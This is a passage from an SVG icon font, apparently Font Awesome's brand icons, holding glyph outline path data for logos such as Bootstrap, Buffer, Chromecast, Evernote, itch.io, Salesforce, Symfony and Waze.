60.4805 -88.9297c37.25 -3.7002 68.7695 -12.5801 93.7695 -23.7998c32.3506 51.5898 46.4805 89.5303 48.2002 100.05 +c0.640625 -1.25 2.93066 -8.41992 -0.450195 -20.25c-6.22949 -21.6201 -18.5791 -51.7197 -36.3398 -85.2998c45.79 -23.7305 65.3203 -55.0098 52.8506 -71.3301c-3.35059 -4.94043 -12.0498 -12.5498 -38.9199 -12.3701zM370.76 116.16 +c70.4102 4.37988 79.6504 20.5703 78.5098 33.5c-1.87988 21.25 -21.1992 41.2598 -49.0596 58.8301c0.889648 -24.5605 -5.63965 -54.6201 -29.4502 -92.3301zM216.9 60.3096c-19.04 -30.46 9.19922 -39.5596 49.7998 -17.6992 +c-7 12.0898 -13.9199 24.8594 -20.6006 38.1895c-9.66992 -7.37012 -19.4395 -14.2598 -29.1992 -20.4902zM431.9 231.66c36.2598 -1.23047 29.4199 27.8496 -9.64062 51.9502c-7.22559 -12.5537 -14.7959 -24.8359 -22.7402 -36.9004 +c11.2207 -4.70996 22.0908 -9.70996 32.3809 -15.0498zM279.18 50c28.3799 18.2002 60.1689 48.1201 84.7695 85.4297c18.46 27.96 26.1494 56.0205 25.4102 79.5703c-30.5801 17.3203 -89.3604 42.7197 -167.23 57.21c0.350586 18.4805 2.08984 19.8799 2.16016 20.3301 +c13.2168 -1.61523 26.4307 -3.64844 39.3896 -6.0498c39.375 -7.36328 78.5059 -18.1924 115.34 -31.71c-15.6191 33.1494 -41.4092 47.2197 -41.5195 47.2197c1.59961 0.160156 28.1299 -6 48.8604 -43.7197c8.42676 11.2061 16.2031 22.0293 23.3301 32.4697 +c-29.96 15.46 -71.75 28.04 -116.32 30.71c-33.4502 1.99023 -61.6299 -5.38965 -81.6299 -17.8096c0.240234 -35.2607 7.66992 -98.96 34 -173.431c-16.8301 -9.12988 -17.7402 -7.87012 -18.6699 -8.25c-20.2715 48.0654 -35.623 99.999 -44.6699 152.84 +c-21.0908 -30.3994 -20.1406 -59.5 -20.1406 -59.5693c-0.919922 1.22949 -8.81934 27.4297 13.4707 64.2295c-13.5801 1.70996 -26.5508 2.9707 -38.8506 3.87988c1.57031 -33.6797 11.5703 -76.1494 31.5703 -116.069c14.8701 -29.71 35.1201 -50.3105 55.71 -61.4902 +c30.4102 17.9199 81.0498 55.6504 132.75 115.92c14.9697 -9 16.1494 -11.71 16.5098 -12c-7.91309 -10.5332 -16.2227 -20.9033 -24.9287 -31.1104c-26.1514 -30.5225 -54.2061 -58.2285 -85.0605 -84c37.5303 -3.38965 62.5303 12.1807 62.5303 12.25 +c-0.860352 -1.67969 -20.0303 -21.6797 -63.2803 -20.4092c5.5 -12.9404 10.9902 -25.0908 16.5 -36.4404zM306.579 337c-1.58008 2.4502 -39.5801 58.8496 -56.4805 54.6104c-16.8994 1.09961 -36.21 -22.9805 -38.21 -75.2803 +c21.1104 13.2402 50.1299 22.3301 94.6904 20.6699zM175.929 333.9c-3.7998 6.68945 -8.66992 12.4795 -14.4297 13.5693h-0.0898438c-24.79 1.41016 -24.75 -52.8301 -24.6699 -49.5898c13.6602 -0.00976562 27.8496 -0.410156 42.3994 -1.25977 +c-1.62012 12.6602 -2.72949 25.1699 -3.20996 37.2803zM147.869 171.9c-30.7998 -61.5098 -19.8701 -76.6104 -19.6699 -76.8203c7.38965 -15.4902 38.1299 -20.25 84.9199 4.50977c-21.9502 11.7402 -44.4902 32.6104 -65.25 72.3105zM357.929 97.0996z" /> + <glyph glyph-name="bootstrap" unicode="" horiz-adv-x="576" +d="M333.5 246.6c0 -23.5996 -18.0996 -36.7998 -50.9004 -36.8994h-42.5v71.2002h50.4004c27.4004 0 43 -12.2002 43 -34.3008zM517 259.4c9.5 -31 25.7002 -50.6006 52 -53.1006v-28.5c-26.4004 -2.5 -42.5 -22.0996 -52.0996 -53.0996 +c-9.5 -30.9004 -10.8008 -68.7998 -9.80078 -98.1006c1.10059 -30.3994 -22.5996 -58.5 -54.6992 -58.5h-328.7c-32 0 -55.7998 28 -54.7002 58.5c1.09961 29.3008 -0.299805 67.2002 -9.7998 98.1006c-9.60059 31 -25.7998 50.5996 -52.2002 53.0996v28.5 +c26.5 2.5 42.5996 22.1006 52.2002 53.1006c9.5 30.8994 10.7998 68.7998 9.7998 98.0996c-1.09961 30.4004 22.5996 58.5 54.7002 58.5h328.8c32 0 55.7998 -28 54.7002 -58.5c-1.10059 -29.2998 0.299805 -67.2002 9.7998 -98.0996zM300.2 72.9004 +c51.8994 0 83.2002 25.3994 83.2002 67.5c0 31.6992 -22.3008 54.6992 -55.5 58.2998v1.2998c24.3994 3.90039 43.5 26.5 43.5 51.7998c0 36 -28.4004 59.4004 -71.7002 59.4004h-97.4004v-238.3h97.9004zM290.2 181.6c35.8994 0 54.5 -13.1992 54.5 -38.8994 +c0 -25.7998 -18.1006 -39.5 -52.2998 -39.5h-52.3008v78.3994h50.1006z" /> + <glyph glyph-name="buffer" unicode="" +d="M427.84 67.3301l-196.5 -97.8203c-2.24707 -0.963867 -4.72266 -1.49805 -7.32129 -1.49805s-5.10156 0.53418 -7.34863 1.49805l-196.51 97.8203c-4 2 -4 5.28027 0 7.29004l47.0596 23.3799c2.25098 0.964844 4.72949 1.49805 7.33203 1.49805 +c2.60156 0 5.10742 -0.533203 7.3584 -1.49805l134.76 -67c2.24609 -0.969727 4.72168 -1.50684 7.32129 -1.50684s5.10254 0.537109 7.34863 1.50684l134.76 67c2.24902 0.964844 4.72656 1.49902 7.32715 1.49902s5.10449 -0.53418 7.35352 -1.49902l47.0596 -23.4297 +c4.0498 -1.95996 4.0498 -5.24023 0 -7.24023zM427.84 203.86c4.0498 -2.01074 4.0498 -5.29004 0 -7.31055l-196.5 -97.7998c-2.24707 -0.964844 -4.74902 -1.49902 -7.34863 -1.49902c-2.59863 0 -5.07422 0.53418 -7.32129 1.49902l-196.51 97.7998 +c-4 2.02051 -4 5.31055 0 7.31055l47.0596 23.4297c2.25098 0.964844 4.75684 1.49805 7.3584 1.49805c2.60254 0 5.08105 -0.533203 7.33203 -1.49805l134.76 -67.0801c2.24902 -0.959961 4.75 -1.49121 7.34863 -1.49121c2.59766 0 5.07227 0.53125 7.32129 1.49121 +l134.76 67.0801c2.24902 0.964844 4.75293 1.49902 7.35352 1.49902s5.07812 -0.53418 7.32715 -1.49902zM20.1602 317.58c-4.0498 1.86035 -4.0498 4.88965 0 6.74023l196.5 90.2793c2.2666 0.900391 4.76074 1.39551 7.3457 1.39551 +c2.58594 0 5.05762 -0.495117 7.32422 -1.39551l196.51 -90.2793c4 -1.85059 4 -4.87988 0 -6.74023l-196.51 -90.29c-2.26953 -0.890625 -4.76172 -1.37988 -7.3457 -1.37988s-5.05469 0.489258 -7.32422 1.37988z" /> + <glyph glyph-name="chromecast" unicode="" horiz-adv-x="512" +d="M447.8 384c23.6006 0 42.9004 -19.0996 42.9004 -42.7002v-298.6c0 -23.6006 -19.1006 -42.7002 -42.7002 -42.7002h-149.4v42.7002h149.2v298.6h-383.8v-63.8994h-42.7002v63.8994c0 23.6006 19.1006 42.7002 42.7002 42.7002h383.8zM21.2998 64.4004 +c35.2998 0 63.9004 -28.6006 63.9004 -63.9004h-63.9004v63.9004v0zM21.2998 149.4c82.4004 -0.100586 149.4 -67 149.3 -149.4h-42.6992c0 58.9004 -47.7002 107 -106.601 107v42.4004zM213.4 0c-0.100586 106 -86.1006 192.4 -192.101 192.2v42.3994 +c129.5 -0.299805 234.3 -105.1 234.8 -234.6h-42.6992z" /> + <glyph glyph-name="evernote" unicode="" horiz-adv-x="384" +d="M120.82 315.79c1.59961 -22.3096 -17.5508 -21.5898 -21.6104 -21.5898c-68.9297 0 -73.6396 1 -83.5801 -3.33984c-0.55957 -0.220703 -0.740234 0 -0.370117 0.370117l108.53 110.319c0.379883 0.370117 0.599609 0.219727 0.379883 -0.370117 +c-4.34961 -9.98926 -3.34961 -15.0898 -3.34961 -85.3896zM199.82 7.79004c-14.6807 37.0801 13 76.9297 52.5195 76.6201c17.4902 0 22.6006 -23.21 7.9502 -31.4199c-6.19043 -3.2998 -24.9502 -1.74023 -25.1396 -19.2002 +c-0.0507812 -17.0898 19.6699 -25 31.1992 -24.8896h0.0107422c25.1895 0 45.6396 20.4502 45.6396 45.6396v0.00976562v0.0800781c0 11.6299 -7.79004 47.2197 -47.54 55.3398c-7.71973 1.54004 -65 6.35059 -68.3496 50.5205 +c-3.74023 -16.9307 -17.4004 -63.4902 -43.1104 -69.0898c-8.74023 -1.94043 -69.6797 -7.64062 -112.92 36.7695c0 0 -18.5703 15.2305 -28.2305 57.9502c-3.37988 15.75 -9.2793 39.7002 -11.1396 62c0 18 11.1396 30.4502 25.0703 32.2002c81 0 90 -2.32031 101 7.7998 +c9.81934 9.24023 7.7998 15.5 7.7998 102.78c1 8.2998 7.79004 30.8096 53.4102 24.1396c6 -0.860352 31.9102 -4.17969 37.4795 -30.6396l64.2607 -11.1504c20.4297 -3.70996 70.9395 -7 80.5996 -57.9404c22.6602 -121.09 8.91016 -238.46 7.7998 -238.46 +c-15.9795 -114.38 -111.07 -108.85 -111.07 -108.85c-18.9492 0.230469 -54.25 9.40039 -67.2695 39.8301zM280.76 212.63c-1 -1.91992 -2.2002 -6 0.850586 -7c14.0898 -4.92969 39.75 -6.83984 45.8799 -5.53027c3.10938 0.25 3.0498 4.43066 2.47949 6.65039 +c-3.5293 21.8496 -40.8301 26.5 -49.2393 5.91992z" /> + <glyph glyph-name="itch-io" unicode="" horiz-adv-x="512" +d="M71.9199 413.23c19.2197 1.66992 114.32 2.76953 184.08 2.76953s116.56 -0.400391 184 -2.73047c21.7197 -12.9297 64.5195 -62.0996 64.9199 -75v-21.3398c0 -27.0596 -25.25 -50.8398 -48.25 -50.8398c-27.54 0 -50.54 22.8799 -50.54 50 +c0 -27.1494 -22.2295 -50 -49.7598 -50s-49 22.8799 -49 50c0 -27.1494 -23.5898 -50 -51.1602 -50h-0.5c-27.5703 0 -51.1602 22.8799 -51.1602 50c0 -27.1494 -21.4199 -50 -49 -50s-49.7598 22.8799 -49.7598 50c0 -27.1494 -22.9697 -50 -50.54 -50 +c-22.96 0 -48.25 23.7803 -48.25 50.8398v21.3398c0.400391 12.8906 43.2002 62.0605 64.9199 74.9609zM204.24 278.84c9.91797 -17.3369 28.5586 -28.9785 49.9453 -28.9785c0.614258 0 1.22559 0.00976562 1.83398 0.0283203c28.7109 0 44.6602 16.4502 51.7607 28.9404 +c22 -38.3398 77.8496 -38.7598 99.8496 -0.240234c13.1201 -23.0596 43.0801 -32.0996 56 -27.6602c3.57031 -37.1494 13.9004 -236.88 -17.75 -269.149c-77.6797 -18.1201 -299.76 -18.6699 -379.76 0c-31.4004 32.0195 -21.6006 229 -17.7305 269.149 +c12.8301 -4.41016 42.8301 4.52051 56 27.6602c21.9502 -38.46 77.8506 -38.1494 99.8506 0.25zM162.66 225.07l-0.0205078 -0.0703125c-52.3193 0 -65.21 -77.4502 -83.8799 -144.45c-17.2598 -62.1494 5.52051 -63.6699 33.9404 -63.7295 +c42.1494 1.56934 65.4902 32.1797 65.4902 62.79c53.6191 -8.79004 116.3 -6.43066 155.55 0c0 -30.6104 23.3398 -61.2207 65.4902 -62.79c28.4297 0.0595703 51.21 1.58008 33.9492 63.7295c-18.6494 66.9199 -31.54 144.45 -83.8701 144.45 +c-16.46 0 -31.0898 0 -49.25 -19.71c-14.6436 1.48535 -28.6113 2.24609 -43.6445 2.24609c-15.0342 0 -29.8906 -0.760742 -44.5352 -2.24609c-18.1299 19.7803 -32.75 19.7803 -49.2197 19.7803zM256 177.21l-0.0595703 -0.00976562s44.3496 -40.7598 52.3496 -55.2402 +l-29 1.16992v-25.2803c0 -1.15918 -11.6602 -0.699219 -23.3096 -0.15918c-1.99023 0 -23.3301 -1.39062 -23.3301 0.15918v25.3203l-29 -1.16992c7.96973 14.4404 52.3496 55.21 52.3496 55.21z" /> + <glyph glyph-name="salesforce" unicode="" horiz-adv-x="640" +d="M248.89 202.36h-26.3496c0.69043 5.15918 3.32031 14.1201 13.6396 14.1201c6.75 0 11.9707 -3.82031 12.71 -14.1201zM385.55 216.24c0.450195 0 14.1104 1.75977 14.1104 -20c0 -6.45996 -1.11035 -20 -14.1104 -20c-0.479492 0 -14.1094 -1.77051 -14.1094 20 +c0 21.7695 13.6396 20 14.1094 20zM142.33 192.48c4.2002 3.60938 15.6104 2.71973 20.9297 1.64941v-16.9395c-5.85938 -1.1709 -16.2295 -2.75 -20.9297 0.949219c-1.20996 1 -3.29004 2.27051 -3.29004 7.05078 +c-0.00976562 0.166992 -0.0205078 0.325195 -0.0205078 0.495117c0 2.75684 1.29492 5.21387 3.31055 6.79492zM640 216c0 -87.5801 -80 -154.39 -165.36 -136.43c-18.3701 -33 -70.7295 -70.75 -132.199 -41.6299c-41.1602 -96.0508 -177.891 -92.1807 -213.811 5.16992 +c-119.72 -23.8906 -178.82 138.37 -75.2695 199.279c-34.75 79.4307 22.6396 173.61 114.31 173.61c40.1748 -0.0253906 75.8613 -19.0605 98.5605 -48.7002c20.6992 21.4004 49.3994 34.8105 81.1494 34.8105c42.3398 0 79 -23.5205 98.7998 -58.5703 +c92.8203 40.6797 193.82 -28.2305 193.82 -127.54zM120.45 184.2c0 11.7598 -11.6904 15.1699 -17.8701 17.1699c-5.27051 2.11035 -13.4102 3.50977 -13.4102 8.93945c0 9.45996 17 6.66016 25.1699 2.12012c0 0 1.16992 -0.709961 1.64062 0.470703 +c0.239258 0.699219 2.35938 6.58008 2.58984 7.29004c0.0341797 0.108398 0.0527344 0.223633 0.0527344 0.34375c0 0.492188 -0.313477 0.911133 -0.75293 1.06543c-12.3301 7.63086 -40.7002 8.51074 -40.7002 -12.6992c0 -12.46 11.4902 -15.4404 17.8799 -17.1699 +c4.71973 -1.58008 13.1699 -3 13.1699 -8.7002c0 -4 -3.5293 -7.06055 -9.16992 -7.06055c-7.11328 0.0126953 -13.709 2.38281 -19 6.35059c-0.469727 0.229492 -1.41992 0.709961 -1.64941 -0.709961l-2.40039 -7.4707 +c-0.469727 -0.939453 0.230469 -1.17969 0.230469 -1.40918c1.75 -1.40039 10.2998 -6.59082 22.8193 -6.59082c13.1699 0 21.4004 7.06055 21.4004 18.1104v-0.0498047zM152.45 226.78c-10.1299 0 -18.6602 -3.16992 -21.4004 -5.18066 +c-0.260742 -0.179688 -0.431641 -0.481445 -0.431641 -0.822266c0 -0.219727 0.0722656 -0.422852 0.191406 -0.586914l2.59082 -7.06055c0.119141 -0.417969 0.504883 -0.723633 0.960938 -0.723633c0.0751953 0 0.148438 0.0078125 0.21875 0.0234375 +c0.650391 0 6.7998 4 16.9297 4c4 0 7.06055 -0.709961 9.18066 -2.35938c3.59961 -2.80078 3.05957 -8.29004 3.05957 -10.5801c-4.79004 0.299805 -19.1104 3.43945 -29.4102 -3.75977c-4.44727 -3.05078 -7.36621 -8.16895 -7.36621 -13.9639 +c0 -0.199219 0.0195312 -0.378906 0.0263672 -0.576172c0 -5.90039 1.50977 -10.4004 6.58984 -14.3506c12.2402 -8.16016 36.2803 -2 38.1006 -1.41016c1.5791 0.320312 3.5293 0.660156 3.5293 1.87988v33.8809c0.0400391 4.60938 0.320312 21.6396 -22.7793 21.6396z +M199 247.76c0.00195312 0.0244141 0.00195312 0.0488281 0.00195312 0.0732422c0 0.613281 -0.49707 1.11035 -1.10938 1.11035c-0.0244141 0 -0.0488281 -0.00195312 -0.0722656 -0.00292969h-9.82031 +c-0.0205078 0.000976562 -0.0419922 0.000976562 -0.0634766 0.000976562c-0.612305 0 -1.10938 -0.49707 -1.10938 -1.10938c0 -0.0244141 0.000976562 -0.0478516 0.00292969 -0.0722656v-79c-0.00195312 -0.0234375 -0.00195312 -0.0478516 -0.00195312 -0.0722656 +c0 -0.613281 0.49707 -1.11035 1.10938 -1.11035c0.0214844 0 0.0419922 0.00195312 0.0625 0.00292969h9.87988c0.0244141 -0.00195312 0.0488281 -0.00292969 0.0732422 -0.00292969c0.613281 0 1.11035 0.498047 1.11035 1.11035 +c0 0.0244141 -0.00195312 0.0478516 -0.00390625 0.0722656zM254.75 218.83c-2.09961 2.30957 -6.79004 7.53027 -17.6504 7.53027c-3.50977 0 -14.1592 -0.230469 -20.6992 -8.94043c-6.35059 -7.62988 -6.58008 -18.1104 -6.58008 -21.4102 +c0 -3.12012 0.149414 -14.2598 7.05957 -21.1699c2.63965 -2.91016 9.06055 -8.22949 22.8105 -8.22949c10.8193 0 16.4697 2.34961 18.5791 3.75977c0.470703 0.240234 0.710938 0.709961 0.240234 1.87988l-2.34961 6.83008 +c-0.200195 0.430664 -0.637695 0.729492 -1.14355 0.729492c-0.0917969 0 -0.179688 -0.0107422 -0.266602 -0.0292969c-2.58984 -0.94043 -6.34961 -2.82031 -15.29 -2.82031c-17.4199 0 -16.8496 14.7402 -16.9404 16.7002h37.1709 +c0.567383 0.0117188 1.04102 0.40918 1.16992 0.939453c-0.290039 0 2.06934 14.7002 -6.09082 24.2305h-0.0195312zM291.44 166.14c13.1699 0 21.4092 7.06055 21.4092 18.1104c0 11.7598 -11.6992 15.1699 -17.8799 17.1699 +c-4.13965 1.66016 -13.4102 3.37988 -13.4102 8.94043c0 3.75977 3.29004 6.34961 8.4707 6.34961c5.98828 -0.120117 11.6924 -1.64844 16.7002 -4.22949c5.00684 -2.58203 1.17969 -0.710938 1.64941 0.469727c0.230469 0.700195 2.35059 6.58008 2.58008 7.29004 +c0.0351562 0.108398 0.0537109 0.223633 0.0537109 0.34375c0 0.492188 -0.314453 0.911133 -0.753906 1.06641c-7.91016 4.89941 -16.7402 4.93945 -20.2295 4.93945c-12 0 -20.46 -7.29004 -20.46 -17.6396c0 -12.46 11.4795 -15.4404 17.8701 -17.1699 +c6.10938 -2 13.1699 -3.26074 13.1699 -8.7002c0 -4 -3.52051 -7.06055 -9.16992 -7.06055c-7.1123 0.015625 -13.708 2.38574 -19 6.35059c-0.175781 0.150391 -0.402344 0.241211 -0.651367 0.241211c-0.535156 0 -0.973633 -0.422852 -0.999023 -0.951172 +l-2.34961 -7.52051c-0.470703 -0.939453 0.229492 -1.17969 0.229492 -1.40918c1.71973 -1.40039 10.3301 -6.59082 22.79 -6.59082h-0.0195312zM357.09 224c0 0.709961 -0.240234 1.17969 -1.17969 1.17969h-11.7598c0 0.140625 0.939453 8.94043 4.46973 12.4707 +c4.16016 4.14941 11.7598 1.63965 12 1.63965c1.16992 -0.469727 1.41016 0 1.63965 0.469727l2.83008 7.77051c0.700195 0.939453 0 1.16992 -0.240234 1.41016c-5.08984 2 -17.3496 2.86914 -24.46 -4.24023c-5.47949 -5.48047 -7 -13.9199 -8 -19.5205h-8.46973 +c-0.624023 -0.0517578 -1.12305 -0.553711 -1.16992 -1.17969l-1.41992 -7.75977c0 -0.700195 0.240234 -1.16992 1.17969 -1.16992h8.23047c-8.50977 -47.9004 -8.75 -50.21 -10.3506 -55.5205c-1.08008 -3.62012 -3.29004 -6.89941 -5.87988 -7.75977 +c-0.0898438 0 -3.87988 -1.67969 -9.63965 0.240234c0 0 -0.94043 0.469727 -1.41016 -0.709961c-0.240234 -0.709961 -2.58984 -6.82031 -2.83008 -7.53027s0 -1.41016 0.469727 -1.41016c5.11035 -2 13 -1.76953 17.8809 0 +c6.2793 2.28027 9.71973 7.88965 11.5293 12.9404c2.75 7.70996 2.81055 9.79004 11.7598 59.7393h12.2305c0.626953 0.0517578 1.12891 0.553711 1.17969 1.18066zM410.48 208c-0.560547 1.67969 -5.10059 18.1104 -25.1709 18.1104c-15.25 0 -23 -10 -25.1592 -18.1104 +c-1 -3 -3.18066 -14 0 -23.5195c0.0898438 -0.300781 4.40918 -18.1201 25.1592 -18.1201c14.9502 0 22.9004 9.60938 25.1709 18.1201c3.20996 9.60938 1.00977 20.5195 0 23.5195zM455.88 224.7c-5 1.64941 -16.6201 1.89941 -22.1104 -5.41016v4.46973 +c0.00195312 0.0214844 0.00195312 0.0419922 0.00195312 0.0634766c0 0.612305 -0.49707 1.11035 -1.10938 1.11035c-0.0244141 0 -0.0478516 -0.00195312 -0.0722656 -0.00390625h-9.39941c-0.0244141 0.00195312 -0.0488281 0.00292969 -0.0732422 0.00292969 +c-0.612305 0 -1.11035 -0.498047 -1.11035 -1.11035c0 -0.0214844 0.00195312 -0.0410156 0.00292969 -0.0625v-55.2793c-0.000976562 -0.0214844 -0.00195312 -0.0419922 -0.00195312 -0.0634766c0 -0.618164 0.501953 -1.11914 1.12012 -1.11914 +c0.0214844 0 0.0410156 0.000976562 0.0625 0.00195312h9.63965c0.0205078 -0.000976562 0.0410156 -0.00195312 0.0625 -0.00195312c0.618164 0 1.12012 0.501953 1.12012 1.12012c0 0.0214844 -0.00195312 0.0410156 -0.00292969 0.0625v27.7695 +c0 2.91016 0.0498047 11.3701 4.45996 15.0498c4.90039 4.90039 12 3.36035 13.4102 3.06055c0.630859 0.0107422 1.1709 0.393555 1.41016 0.939453c1.15918 2.57324 2.19629 5.28125 3.05957 8c0.0517578 0.130859 0.0800781 0.273438 0.0800781 0.422852 +c0 0.416992 -0.21875 0.783203 -0.549805 0.987305v-0.00976562zM502.69 170.6l-2.12012 7.29004c-0.470703 1.18066 -1.41016 0.709961 -1.41016 0.709961c-4.23047 -1.81934 -10.1504 -1.88965 -11.29 -1.88965c-4.63965 0 -17.1699 1.12988 -17.1699 19.7598 +c0 6.23047 1.84961 19.7607 16.4697 19.7607c0.299805 0.00683594 0.601562 0.0107422 0.90332 0.0107422c3.70605 0 7.26562 -0.587891 10.6172 -1.66113c3.35059 -1.07324 0.939453 -0.469727 1.17969 0.709961c0.939453 2.58984 1.63965 4.46973 2.58984 7.53027 +c0.230469 0.939453 -0.469727 1.16992 -0.709961 1.16992c-11.5898 3.87012 -22.3398 2.5293 -27.7598 0c-1.58984 -0.740234 -16.2305 -6.49023 -16.2305 -27.5205c0 -2.89941 -0.580078 -30.1094 28.9404 -30.1094c5.45117 0.0107422 10.6943 1.02051 15.5195 2.83008 +c0.319336 0.236328 0.527344 0.616211 0.527344 1.04395c0 0.130859 -0.0214844 0.256836 -0.0566406 0.375977v-0.0107422zM556.56 210.12c-0.799805 3 -5.36914 16.2295 -22.3496 16.2295c-16 0 -23.5195 -10.1094 -25.6396 -18.5898 +c-1.07129 -3.53906 -1.64746 -7.29199 -1.64746 -11.1787c0 -0.198242 -0.00585938 -0.383789 -0.00292969 -0.581055c0 -25.8701 18.8398 -29.4004 29.8799 -29.4004c10.8203 0 16.46 2.35059 18.5801 3.76074c0.469727 0.239258 0.709961 0.709961 0.240234 1.87988 +l-2.36035 6.83008c-0.200195 0.430664 -0.636719 0.729492 -1.14258 0.729492c-0.0927734 0 -0.180664 -0.0107422 -0.267578 -0.0302734c-2.58984 -0.939453 -6.34961 -2.81934 -15.29 -2.81934c-17.4199 0 -16.8496 14.7402 -16.9297 16.7002h37.1602 +c0.569336 0.0136719 1.04395 0.40918 1.17969 0.939453c-0.239258 0.00976562 0.94043 7.07031 -1.41016 15.54v-0.00976562zM533.27 216.47c5.11035 0 11.8506 -2.2002 12.7305 -14.1201h-26.3701c0.639648 5.12012 3.31055 14.1201 13.6396 14.1201z" /> + <glyph glyph-name="speaker-deck" unicode="" horiz-adv-x="512" +d="M213.86 152h-113.86c-55.1914 0 -100 44.8086 -100 100s44.8086 100 100 100h132.84c22.0771 0 40 -17.9238 40 -40s-17.9229 -40 -40 -40h-134.84c-26.4697 0 -26.4502 -40 0 -40h113.82c55.1914 0 100 -44.8086 100 -100s-44.8086 -100 -100 -100h-171.82 +c-22.0762 0 -40 17.9238 -40 40s17.9238 40 40 40h173.86c26.4795 0 26.46 40 0 40zM298 32c26.7314 18.1455 45.667 46.8174 51.1104 80h64.5498c10.8652 0.0927734 19.6572 8.94238 19.6572 19.8291c0 0.0585938 0.00292969 0.113281 0.00292969 0.170898v120v0.173828 +c0 10.8867 -8.79492 19.7334 -19.6602 19.8262h-117.24c9.34473 10.6875 15.0088 24.6729 15.0088 39.9697c0 15.2979 -5.66406 29.3428 -15.0088 40.0303h136.93c43.4404 0 78.6504 -35.8203 78.6504 -80v-160c0 -44.1797 -35.21 -80 -78.6504 -80h-135.35z" /> + <glyph glyph-name="symfony" unicode="" horiz-adv-x="512" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.74 296.46c15.3496 0.540039 19.7695 15.4404 19.5195 23.1299c-0.639648 18.0605 -19.6699 29.46 -44.8301 28.6504 +c-1.89941 -0.0703125 -65.2598 3.46973 -102.43 -105.53c-10.0596 8.29004 -57.7695 65.1602 -110.58 25.8096c-18.9502 -14.1797 -31.4199 -47.9199 -2.9502 -79.6699c16.9502 -18.1396 26.7207 -25.3301 22.25 -39.8496c-9.14941 -29.79 -55.5596 -16.1602 -51 -1.38965 +c1.36035 4.38965 3.49023 4.46973 6.28027 13.0693c7.74023 25.3203 -27.1104 37.75 -34.6201 13.6006c-4.32031 -14.0605 2.37988 -39.5107 38.3799 -50.6201c42.1602 -12.96 77.8203 10.0098 82.8799 39.9395c3.2002 18.75 -5.29004 32.6904 -20.7998 50.6201l-12.6299 14 +c-7.66016 7.7002 -10.29 20.7002 -2.37012 30.7002c6.69043 8.45996 16.2002 12.0605 31.8105 7.83008c22.7695 -6.16992 32.9199 -21.9697 49.8496 -34.7197c-1.23047 -4 -10.04 -32.3398 -18.2305 -82c-12.1094 -63.4902 -21.3496 -98.3506 -45.3496 -118.351 +c-4.83984 -3.48926 -11.7598 -8.63965 -22.1797 -9c-1.94043 -0.0595703 -14.1406 2.83984 -2.0498 12.5508c15.2393 8.3291 7.00977 34.75 -14.8809 34c-9.85938 -0.330078 -24.8691 -9.59082 -24.3096 -26.5908c0.580078 -17.5293 16.9297 -30.6895 41.5801 -29.8398 +c13.1797 0.44043 42.5801 5.7998 71.5801 40.2598c39.8496 46.7207 47.4395 102.2 58.2002 161.721c51.6797 -6.11035 77.2393 17.8398 77.5996 35.7002c0.549805 24.2998 -28 23.46 -32 5.2998c-1.91992 -8.83984 13.4199 -16.8105 1.41992 -24.5605 +c-8.49023 -5.5 -23.71 -9.37012 -45.1396 -6.21973c10.2998 56.8496 19.1094 112.56 58.8896 113.85c2.70996 0.150391 12.6396 -0.119141 12.8701 -6.66992c0.150391 -5.41016 -6.7998 -9.66992 -6.53027 -18.8496c0.370117 -10.4199 8.2998 -17.2803 19.7705 -16.8701z +" /> + <glyph glyph-name="waze" unicode="" horiz-adv-x="512" +d="M502.17 246.33c14.5205 -85.8604 -30.9395 -167.92 -113.17 -208.13c13 -34.1006 -12.4004 -70.2002 -48.3203 -70.2002c-27.5918 0.0214844 -50.1543 21.752 -51.5693 49c-6.44043 -0.19043 -64.2002 0 -76.3301 0.639648 +c-1.11328 -27.5479 -23.8281 -49.5713 -51.6475 -49.5713c-0.725586 0 -1.41504 -0.0175781 -2.13281 0.0117188c-33.8604 1.36035 -57.9502 34.8398 -47 67.9199c-37.21 13.1104 -72.54 34.8701 -99.6201 70.7998c-13 17.2803 -0.479492 41.7998 20.8398 41.7998 +c46.3105 0 32.2207 54.1699 43.1504 110.261c18.4297 93.9395 116.75 157.14 211.72 157.14c102.48 0 197.15 -70.6699 214.08 -169.67zM373.51 59.7197c42 19.1807 81.3301 56.71 96.29 102.141c40.4805 123.09 -64.1494 228 -181.71 228 +c-83.4502 0 -170.32 -55.4199 -186.07 -136c-9.5293 -48.9102 5 -131.351 -68.75 -131.351c24.9404 -33.1094 58.3301 -52.6201 93.7305 -64.0498c24.6602 21.7998 63.8701 15.4697 79.8301 -14.3398c14.2197 -1 79.1895 -1.17969 87.9004 -0.820312 +c8.5625 16.7266 25.9746 28.1865 46.041 28.1865c12.418 0 23.8223 -4.45703 32.7383 -11.7666zM205.12 260.87c0 34.7402 50.8398 34.75 50.8398 0s-50.8398 -34.7402 -50.8398 0zM321.69 260.87c0 34.7402 50.8594 34.75 50.8594 0s-50.8594 -34.75 -50.8594 0z +M199.08 190.18c-3.44043 16.9404 22.1797 22.1807 25.6201 5.20996l0.0595703 -0.279297c4.14062 -21.4199 29.8506 -44 64.1201 -43.0703c35.6797 0.94043 59.25 22.21 64.1104 42.7695c4.45996 16.0508 28.5996 10.3604 25.4697 -6 +c-5.22949 -22.1797 -31.21 -62 -91.46 -62.8994c-42.5498 0 -80.8799 27.8398 -87.9004 64.25z" /> + <glyph glyph-name="yammer" unicode="" horiz-adv-x="512" +d="M421.78 295.83c-48.1602 -26.3896 -118.561 -58.1504 -130.2 -50s91.4395 80.3701 106.689 88.7695c0.920898 0.5 1.80078 0.970703 2.63086 1.40039c2.07227 0.612305 4.28125 0.954102 6.55176 0.954102c12.7275 0 23.0605 -10.332 23.0605 -23.0596 +c0 -7.31445 -3.41309 -13.8389 -8.73242 -18.0645zM421.78 78.6602c5.27539 -4.22949 8.64258 -10.7148 8.64258 -17.9961c0 -12.7334 -10.3369 -23.0703 -23.0693 -23.0703c-2.24023 0 -4.40527 0.320312 -6.45312 0.916016 +c-0.830078 0.410156 -1.70996 0.900391 -2.63086 1.41016c-15.2695 8.38965 -118.25 80.6396 -106.689 88.7402c11.5596 8.09961 82.04 -23.6201 130.2 -50zM464.21 211c10.4287 -2.18359 18.2344 -11.4395 18.2344 -22.5127 +c0 -11.4219 -8.34375 -20.9102 -19.2646 -22.6973c-54.9102 0.0195312 -131.93 6.00977 -138.21 18.7598c-6.2793 12.75 118.84 26.5098 136.24 26.5098c1.0498 0 2.0498 -0.0595703 3 -0.0595703zM31 351.35c-0.817383 2.46387 -1.26074 5.09766 -1.26074 7.83496 +c0 13.7314 11.1484 24.8799 24.8799 24.8799c9.96582 0 18.5498 -5.8457 22.5205 -14.3145l81 